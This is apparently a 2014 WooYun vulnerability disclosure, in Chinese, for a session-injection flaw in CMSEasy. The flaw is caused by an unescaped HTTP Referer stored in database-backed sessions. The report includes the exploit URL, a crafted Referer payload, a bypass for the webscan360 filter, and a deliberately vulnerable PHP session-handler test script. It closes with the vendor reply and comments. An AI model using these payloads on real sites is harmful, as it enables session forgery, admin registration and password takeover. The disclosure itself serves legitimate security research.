当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号: WooYun-2014-81208

漏洞标题: cmseasy的SQL注射漏洞(附分析和exp)

相关厂商: cmseasy

漏洞作者: Noxxx

提交时间: 2014-10-29 16:18

公开时间: 2015-01-27 16:20

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-29: 细节已通知厂商并且等待厂商处理中
2014-10-29: 厂商已经确认,细节仅向厂商公开
2014-11-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-23: 细节向核心白帽子及相关领域专家公开
2015-01-02: 细节向普通白帽子公开
2015-01-12: 细节向实习白帽子公开
2015-01-27: 细节向公众公开

简要描述:

cmseasy sql注射漏洞

详细说明:

先看 manage_act.php 174行

code 区域
if(!session::get('from')) session::set('from',front::$from);



如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。

在 front_class.php 312-313

code 区域
if (isset($_SERVER['HTTP_REFERER']))
self::$from=$_SERVER['HTTP_REFERER'];



看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的,导致我又可以注射了。

之前发了个已经说到了他session保存在数据库中,有出注入基本就可以控制它整个系统了..(http://**.**.**.**/bugs/wooyun-2014-076542)

----------

不多说了.上exp,先注册一个号 然后

code 区域
/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1
来源 **.**.**.**/',DATA=0x6F70656E69647C733A313A2232223B,client_ip=' 改为这个



正当我觉得很顺利的时候,发现webscan360拦截了我,

新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。

还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,)



单引号不能使用,想了想



code 区域
from|s:4:"2222";



结构是这样的,哪我 把2222 换成 ";openid|s:1:"2 能不能闭合呢.

结果处理成这样了

code 区域
(不知道它如何 对session的转换代码,那自己只能fuzz测试了)
提交";openid|s:1:"2
from|s:15:"";openid|s:1:"2";



_sql.jpg



打印了 SESSION 发现闭合失败,15个字符包含其中,那我使用 转义符 "\" 把双引号转义掉,他这个字符就会少一个



提交

code 区域
提交 :\";openid|s:1:"2
from|s:16:"";openid|s:1:"2";
s 16 但他只有15
转换后 变成了 from|N; 果然出错了,继续测试



code 区域
提交 :\";\openid|s:1:\"2
数据库 : from|s:18:"";openid|s:1:"2";
转换后的数据库中 : from|N;18:"";openid|s:1:"2";
打印了代码,看来有戏
["18:"";openid"]=>
string(1) "2"



我们继续闭合,我们需要让18:""; 这部分自成一个数据就好了。

经过我一番测试后 终于让他解析成功。

code 区域
提交: |N;\openid|s:1:\"2\"

数据库 :from|s:20:"|N;openid|s:1:"2"";
转换后的数据库中 :from|N;20:"|N;openid|s:1:"2";
打印的代码,解析成功了。
["20:""]=>
NULL
["openid"]=>
string(1) "2"





分析补充:



标题:php某函数使用不当导致的漏洞



Cmseasy 使用了session_set_save_handler了,其作用是 把session存到数据库中,而代替 文件



而在我研究中 发现,使用session_set_save_handler 不当就很会出现问题,而任意操纵session,很可怕!



session_set_save_handler php官网的介绍





write(string $sessionId, string $data)

在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。

序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。

PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。



//写 将 $_SESSION 中数据序列化 存入数据库中.



read(string $sessionId)

如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。

在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。

read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。



// 反序列化数据库中的 session 然后返回。



Cmseasy中是这样的 :



__construct 构造函数

session_start();

$this->refresh(session_id());

Refresh -> gc //目的就是看时间差来判断 session过期了没有,如果过期了就删除掉这条session数据



读取的时候 会先从数据库中读取出来 然后 return $result ['data']; 然后 反序列化( session_decode() ) $result ['data'];数据并填充 $_SESSION 超级全局变量,

之后在调用 write 用把 $_SESSION数据序列化( SESSION_ENCODE()) ,的数据写入数据库,并更新时间“update_time”(表示自己还在活动中)。



使用出错就出错在 write 没有把数据进行转义处理,而导致的解析出错。



我们来看

(我先自己在他的框架内做的测试

$_SESSION[‘TEST’] = $_POST[‘a’] //我自己测试方便去掉了 实体化。

)

我们提交 一个 “ \ ”他所对应的sql中就是TEST|s:2:"\\"; 插入数据库中 就会变成TEST|s:2:"\"; 因为 \是转义符啊。而它php自己处理的session序列化值却不认这个符号 把他当作普通字符串来序列化。

显然 按照它的流程来的话,读取了这个值就会出现无法反序列化的情况。

数据会变成 TEST|N; 空值,这个一个bug 导致了问题的出现。

现在我们来尝试闭合它,来创建其他的值。

提交 |N;\ 为什么提交这个?因为 |N;来满足他后面的闭合 用 转义符让他的结构出错。

TEST|s:5:"|N;\"; -> null

我们自己加一个值呢?加个 ooo 值吧

code 区域
提交的:|N;ooo|s:2:"aa"\ 
数据库中 :TEST|s:20:"|N;ooo|s:2:"aa";\";
已经解析写入数据库中 :TEST|s:20:"|N;ooo|s:2:"aa";\";
["TEST"]=> NULL ["20:""]=> NULL ["ooo"]=> string(2) "aa"





居然成功解析掉了,



在 archive_act.php中。有一段讲搜索记录存入session中的代码。

256-258

code 区域
if (front::post('keyword')) {
$this->view->keyword = trim(front::post('keyword'));
session::set('keyword', trim(front::post('keyword'))); //存入。



我知道cmseasy全局都实体化了。中间测试fuzz费劲,,最后成功了,但是只能使用 int类型的,

code 区域
提交的:N|openid|i:1;"1"\ ,
数据库:keyword|s:40:"N|openid|i:1;|xx|s:1:\\\"1\\\"";
已经解析写入数据库中 :keyword|N;30:"N|N;openid|i:1;
["keyword"]=> NULL ["30:"N"]=> NULL ["openid"]=> int(1) ["username"]=> string(10) "test_Noxxx"



还有个地方提下,

manage_act.php 174行

code 区域
if(!session::get('from')) session::set('from',front::$from);



如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。

在 front_class.php 312-313

code 区域
if (isset($_SERVER['HTTP_REFERER']))
self::$from=$_SERVER['HTTP_REFERER'];



看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的。



(新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。

还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,))



这里的和 上面做了转义处理没做实体化处理的同理

Referer: |N;openid|s:1:\"2\"\ 这样即可



这个有好几个利用 比如 user_act.php 中的 edit_action函数内的userid 任意修改密码,再比如 respond_action 函数中的openid 注册管理员。



最后附上几个 测试的代码

code 区域
<?php 
/*
CREATE TABLE `ws_sessions` (
`session_id` varchar(255) binary NOT NULL default '',
`session_expires` int(10) unsigned NOT NULL default '0',
`session_data` text,
PRIMARY KEY (`session_id`)
) TYPE=MyISAM;
*/
class session {
// session-lifetime
var $lifeTime;
// mysql-handle
var $dbHandle;
function open($savePath, $sessName) {
// get session-lifetime
$this->lifeTime = get_cfg_var("session.gc_maxlifetime");
// open database-connection
$dbHandle = @mysql_connect("localhost","name","pwd");
$dbSel = @mysql_select_db("db",$dbHandle);
// return success
if(!$dbHandle || !$dbSel)
return false;
$this->dbHandle = $dbHandle;
return true;
}
function close() {
$this->gc(ini_get('session.gc_maxlifetime'));
// close database-connection
return @mysql_close($this->dbHandle);
}
function read($sessID) {
// fetch session-data
$res = mysql_query("SELECT session_data AS d FROM ws_sessions
WHERE session_id = '$sessID'
AND session_expires > ".time(),$this->dbHandle);
// return data or an empty string at failure
if($row = mysql_fetch_assoc($res))
return $row['d'];
return "";
}
function write($sessID,$sessData) {
// new session-expire-time
$newExp = time() + $this->lifeTime;
// is a session with this id in the database?
$res = mysql_query("SELECT * FROM ws_sessions
WHERE session_id = '$sessID'",$this->dbHandle);
//
//$sessData = addslashes($sessData);
if(mysql_num_rows($res)) {
// ...update session-data
mysql_query("UPDATE ws_sessions
SET session_expires = '$newExp',
session_data = '$sessData'
WHERE session_id = '$sessID'",$this->dbHandle);
// if something happened, return true
if(mysql_affected_rows($this->dbHandle))
return true;
}
// if no session-data was found,
else {
// create a new row
mysql_query("INSERT INTO ws_sessions (
session_id,
session_expires,
session_data)
VALUES(
'$sessID',
'$newExp',
'$sessData')",$this->dbHandle);
// if row was created, return true
if(mysql_affected_rows($this->dbHandle))
return true;
}
// an unknown error occured
return false;
}
function destroy($sessID) {
// delete session-data
mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
// if session was deleted, return true,
if(mysql_affected_rows($this->dbHandle))
return true;
// ...else return false
return false;
}
function gc($sessMaxLifeTime) {
// delete old sessions
mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
// return affected rows
return mysql_affected_rows($this->dbHandle);
}
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
array(&$session,"close"),
array(&$session,"read"),
array(&$session,"write"),
array(&$session,"destroy"),
array(&$session,"gc"));
session_start();
if (!empty($_GET['v'])){
var_dump($_SESSION);exit;
}
$_POST = daddslashes($_POST);
$_SESSION['test']=$_POST['s'];

function daddslashes($string, $force = 1) {
if (is_array($string)) {
$keys = array_keys($string);
foreach ($keys as $key) {
$val = $string[$key];
unset($string[$key]);
$string[addslashes($key)] = daddslashes($val, $force);
}
} else {
$string = (addslashes(trim($string)));
}
return $string;
}
?>





code 区域
session_start();
var_dump(session_decode('test|s:20:"|N;ooo|s:2:"aa";\";'));



下了分php的源码但是不怎么明白..怎么执行的。最后都调用来的 php_var_unserialize ,。。

最后说一下 这个也算是php的一个小bug把。我查看php官网上session_set_save_handler 函数 说明 好像并没有看见说明安全性的问题...广大朋友要注意这一点了。。





漏洞证明:

见详细说明



解决方案 :

write 中转义data

漏洞证明:

给个exp:

登录状态

/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1

Referer: |N;\openid|s:1:\"2\"



11_.jpg



22_.jpg





利用方法很多,用到session地方都可以伪造,参考 http://**.**.**.**/bugs/wooyun-2014-076542,

修复方案:

转义啊

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-10-29 19:16

厂商回复:

感谢提交,我们将会在后面对整个程序的数据查询重写,希望白帽子能够给我们更多的意见和建议。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-29 16:25 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    3

    不会是 老地方 官网文件覆盖错了 又给还原回去了吧!!!

  2. 2014-10-29 16:42 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    很久之前,cmseasy还很小众的时候,写过一个getshell的exp,然后那个getshell的原因也是因为官网代码回滚造成的。so,cmseasy无爱了

  3. 2014-10-29 17:28 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    关键真要是 回滚造成的 要是过了 我就无语了 我本来想提交来着

  4. 2014-10-29 17:29 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    这种回滚的 不算漏洞的 再说我在给360 的绕过中已经发了 只不过是提给360了

  5. 2014-10-29 17:36 | Noxxx ( 普通白帽子 | Rank:716 漏洞数:58 )
    0

    @menmen519 不是回滚的。。

  6. 2014-10-29 17:45 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Noxxx 牛x 很期待看看

  7. 2014-10-29 17:51 | Noxxx ( 普通白帽子 | Rank:716 漏洞数:58 )
    0

    @menmen519 标题起的有问题,等会还要改改..

  8. 2015-03-25 17:22 | 胡小树 ( 实习白帽子 | Rank:66 漏洞数:13 | 我是一颗小小树)
    0

    看的头晕,不过我感觉洞主,以前是做PHP开发的是吗

登录后才能发表评论,请先 登录